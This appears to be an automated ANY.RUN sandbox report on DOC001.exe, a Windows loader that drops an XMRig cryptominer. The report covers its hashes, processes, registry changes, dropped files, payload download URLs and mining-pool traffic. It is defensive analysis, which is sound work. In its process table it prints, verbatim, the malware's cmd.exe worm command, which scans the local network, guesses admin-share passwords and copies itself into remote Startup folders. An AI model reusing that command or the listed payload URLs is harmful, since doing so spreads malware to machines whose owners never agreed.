analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | DOC001.exe |
| Full analysis: | https://app.any.run/tasks/27c6fd23-0cf6-486f-8726-2f6d7c0b16cd |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | October 14, 2019, 07:39:27 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive |
| MD5: | DF11B3105DF8D7C70E7B501E210E3CC3 |
| SHA1: | 01BA101C4355B18EC11652A9AB6F8994279BA769 |
| SHA256: | 59F1E69B68DE4839C65B6E6D39AC7A272E2611EC1ED1BF73A4F455E2CA20EEAA |
| SSDEEP: | 49152:if4tcOW4mwkylp3yj7SWGpHE3EFBD+njb9ClK:usuZDeJAcBSXUlK |
MALICIOUS
Changes the autorun value in the registry
- DOC001.exe (PID: 2088)
Writes to a start menu file
- DOC001.exe (PID: 2088)
Application was dropped or rewritten from another process
- java.exe (PID: 1316)
- java13r.exe (PID: 3664)
- NsCpuCNMiner32.exe (PID: 2256)
Loads dropped or rewritten executable
- DOC001.exe (PID: 2088)
- java.exe (PID: 1316)
- java13r.exe (PID: 3664)
Downloads executable files from the Internet
- DOC001.exe (PID: 2088)
Looks like application has launched a miner
- DOC001.exe (PID: 2088)
MINER was detected
- NsCpuCNMiner32.exe (PID: 2256)
Connects to CnC server
- NsCpuCNMiner32.exe (PID: 2256)
SUSPICIOUS
Creates files in the user directory
- DOC001.exe (PID: 2816)
- DOC001.exe (PID: 2088)
Starts itself from another location
- DOC001.exe (PID: 2816)
Executable content was dropped or overwritten
- DOC001.exe (PID: 2816)
- DOC001.exe (PID: 2088)
- java.exe (PID: 1316)
- java13r.exe (PID: 3664)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 320)
- cmd.exe (PID: 4092)
- cmd.exe (PID: 2784)
Starts CMD.EXE for commands execution
- java.exe (PID: 1316)
- java13r.exe (PID: 3664)
- cmd.exe (PID: 2512)
- DOC001.exe (PID: 2088)
Starts NET.EXE for network exploration
- cmd.exe (PID: 252)
Application launched itself
- cmd.exe (PID: 2512)
INFO
Drop XMRig executable file
- DOC001.exe (PID: 2088)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | NSIS - Nullsoft Scriptable Install System (94.8) |
|---|---|---|
| .exe | | | Win32 Executable MS Visual C++ (generic) (3.4) |
| .dll | | | Win32 Dynamic Link Library (generic) (0.7) |
| .exe | | | Win32 Executable (generic) (0.5) |
| .exe | | | Generic Win/DOS Executable (0.2) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2009:12:05 23:52:12+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 24064 |
| InitializedDataSize: | 308224 |
| UninitializedDataSize: | 8192 |
| EntryPoint: | 0x30fa |
| OSVersion: | 4 |
| ImageVersion: | 6 |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 05-Dec-2009 22:52:12 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 05-Dec-2009 22:52:12 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00005C4C | 0x00005E00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.4388 |
.rdata | 0x00007000 | 0x0000129C | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.04684 |
.data | 0x00009000 | 0x00048C58 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.79628 |
.ndata | 0x00052000 | 0x00040000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.rsrc | 0x00092000 | 0x0000FBD8 | 0x0000FC00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.02452 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.20956 | 716 | UNKNOWN | English - United States | RT_MANIFEST |
2 | 4.32545 | 9640 | UNKNOWN | English - United States | RT_ICON |
3 | 4.80027 | 4264 | UNKNOWN | English - United States | RT_ICON |
4 | 5.12941 | 3752 | UNKNOWN | English - United States | RT_ICON |
5 | 5.76716 | 2216 | UNKNOWN | English - United States | RT_ICON |
6 | 3.19606 | 1640 | UNKNOWN | English - United States | RT_ICON |
7 | 4.29006 | 1384 | UNKNOWN | English - United States | RT_ICON |
8 | 5.50369 | 1128 | UNKNOWN | English - United States | RT_ICON |
9 | 3.32968 | 744 | UNKNOWN | English - United States | RT_ICON |
10 | 3.42711 | 296 | UNKNOWN | English - United States | RT_ICON |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
SHELL32.dll |
USER32.dll |
VERSION.dll |
ole32.dll |
Total processes
57
Monitored processes
17
Malicious processes
4
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2816 | "C:\Users\admin\AppData\Local\Temp\DOC001.exe" | C:\Users\admin\AppData\Local\Temp\DOC001.exe | explorer.exe | |
User: admin Integrity Level: MEDIUM Exit code: 2 | ||||
| 2088 | "C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe" | C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe | DOC001.exe | |
User: admin Integrity Level: MEDIUM | ||||
| 1316 | "C:\Users\admin\AppData\Local\Temp\java.exe" -pJavajre_set7z | C:\Users\admin\AppData\Local\Temp\java.exe | DOC001.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 320 | "C:\Windows\system32\cmd.exe" /c taskkill /f /im lsm.exe | C:\Windows\system32\cmd.exe | — | java.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 1976 | taskkill /f /im lsm.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3664 | "C:\Users\admin\AppData\Local\Temp\java13r.exe" -pJavajre_set8z | C:\Users\admin\AppData\Local\Temp\java13r.exe | DOC001.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 4092 | "C:\Windows\system32\cmd.exe" /c taskkill /f /im lsm.exe | C:\Windows\system32\cmd.exe | — | java13r.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 896 | taskkill /f /im lsm.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2512 | "C:\Windows\system32\cmd.exe" /v:on /c (for /f "usebackq tokens=1,*" %i in (`net view^|find /i "\\" ^|^| arp -a^|find /i " 1"`) do set str_!random!=%i)& for /f "usebackq tokens=1* delims==" %j in (`set str_`) do set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=DOC001.exe& if not "!s!"=="%COMPUTERNAME%" (for /f "usebackq tokens=1,*" %j in (`net view \\!s!^|find /i " "`) do echo f|xcopy /y /d "C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe" "\\!s!\%j\DOC001.exe") & net use * /delete /y & (for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 "" %u 1 123) do ping -n 3 localhost & (for %c in (\\!s!\C$ \\!s!\Users) do (if not "%p%u"=="01" net use %c "%p" /user:"%u") && ((for %d in ("%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!") do echo f|xcopy /y /d "C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe" %d) & net use %c /delete /y & ping -n 20 localhost))) | C:\Windows\system32\cmd.exe | — | DOC001.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 252 | C:\Windows\system32\cmd.exe /c net view|find /i "\\" || arp -a|find /i " 1" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
Total events
1 484
Read events
1 425
Write events
59
Delete events
0
Modification events
| (PID) Process: | (2816) DOC001.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2816) DOC001.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | |
Value: | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2088) DOC001.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\DOC001_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
Executable files
10
Suspicious files
0
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2088 | DOC001.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk | lnk | |
MD5:1E4DB1A96EDA53ECE9E0D195F5AE1DD2 | SHA256:B196A885838DA8FAAFE53D1C7F04DEAC4885A3BB676238B596F389AD19D97F47 | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Local\Temp\java.exe | executable | |
MD5:5FD72D2F051DFE060D4E679B88D9C0EB | SHA256:91D24ECF0751BA667EFD17F9CFF562882B08EA5D929F5B25ED17C9B581354B34 | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\java13r[1].dat | executable | |
MD5:5FD72D2F051DFE060D4E679B88D9C0EB | SHA256:91D24ECF0751BA667EFD17F9CFF562882B08EA5D929F5B25ED17C9B581354B34 | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Local\Temp\java13r.exe | executable | |
MD5:5FD72D2F051DFE060D4E679B88D9C0EB | SHA256:91D24ECF0751BA667EFD17F9CFF562882B08EA5D929F5B25ED17C9B581354B34 | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\java[1].dat | executable | |
MD5:5FD72D2F051DFE060D4E679B88D9C0EB | SHA256:91D24ECF0751BA667EFD17F9CFF562882B08EA5D929F5B25ED17C9B581354B34 | |||
| 2816 | DOC001.exe | C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe | executable | |
MD5:DF11B3105DF8D7C70E7B501E210E3CC3 | SHA256:59F1E69B68DE4839C65B6E6D39AC7A272E2611EC1ED1BF73A4F455E2CA20EEAA | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Roaming\TempoR\NsCpuCNMiner64.exe | executable | |
MD5:6E6D33D666387647A22A9ABD0DD6D50D | SHA256:55766C74C458D5439688F44CEEF926D27EE57E7CE418B9AF574331ECC54B4816 | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Roaming\TempoR\NsCpuCNMiner32.exe | executable | |
MD5:E8E50CFA7F6FE0C3B54CB1E11E92960C | SHA256:C4DEB1F76A1A5127964FAB44E4D9B3EBBB36B1FEDFB640DF5A4C428C89CEDB35 | |||
| 3664 | java13r.exe | C:\Users\admin\AppData\Local\Temp\nspC6B6.tmp\inetc.dll | executable | |
MD5:D7A3FA6A6C738B4A3C40D5602AF20B08 | SHA256:67EFF17C53A78C8EC9A28F392B9BB93DF3E74F96F6ECD87A333A482C36546B3E | |||
| 2088 | DOC001.exe | C:\Users\admin\AppData\Local\Temp\nsxB428.tmp\inetc.dll | executable | |
MD5:D7A3FA6A6C738B4A3C40D5602AF20B08 | SHA256:67EFF17C53A78C8EC9A28F392B9BB93DF3E74F96F6ECD87A333A482C36546B3E | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
9
DNS requests
4
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1316 | java.exe | GET | — | 185.26.112.217:80 | http://u.f321y.com/dhelper.dat | RU | — | — | malicious |
2088 | DOC001.exe | GET | 200 | 195.208.1.104:80 | http://kr1s.ru/java.dat | RU | executable | 44.8 Kb | suspicious |
2088 | DOC001.exe | GET | 200 | 89.111.177.173:80 | http://zcop.ru/java13r.dat | RU | executable | 44.8 Kb | suspicious |
2088 | DOC001.exe | GET | — | 195.208.1.104:80 | http://kr1s.ru/tessr.html | RU | — | — | suspicious |
3664 | java13r.exe | GET | — | 185.26.112.217:80 | http://u.f321y.com/oneplus.dat | RU | — | — | malicious |
2088 | DOC001.exe | GET | 200 | 195.208.1.104:80 | http://kr1s.ru/tessr.html | RU | html | 3.75 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3664 | java13r.exe | 185.26.112.217:80 | u.f321y.com | Autonomous Non-commercial Organization Regional Network Information Center | RU | malicious |
2088 | DOC001.exe | 89.111.177.173:80 | zcop.ru | CJSC Registrar R01 | RU | suspicious |
2088 | DOC001.exe | 195.208.1.104:80 | kr1s.ru | Autonomous Non-commercial Organization Regional Network Information Center | RU | malicious |
1316 | java.exe | 185.26.112.217:80 | u.f321y.com | Autonomous Non-commercial Organization Regional Network Information Center | RU | malicious |
— | — | 195.208.1.104:80 | kr1s.ru | Autonomous Non-commercial Organization Regional Network Information Center | RU | malicious |
2256 | NsCpuCNMiner32.exe | 51.15.58.224:14444 | xmr-eu1.nanopool.org | Online S.a.s. | NL | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
kr1s.ru |
| suspicious |
zcop.ru |
| suspicious |
u.f321y.com |
| malicious |
xmr-eu1.nanopool.org |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2088 | DOC001.exe | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)) |
2088 | DOC001.exe | Misc activity | SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer |
2088 | DOC001.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2088 | DOC001.exe | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)) |
2088 | DOC001.exe | Misc activity | SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer |
2088 | DOC001.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1316 | java.exe | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)) |
1316 | java.exe | Misc activity | SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer |
3664 | java13r.exe | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)) |
3664 | java13r.exe | Misc activity | SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer |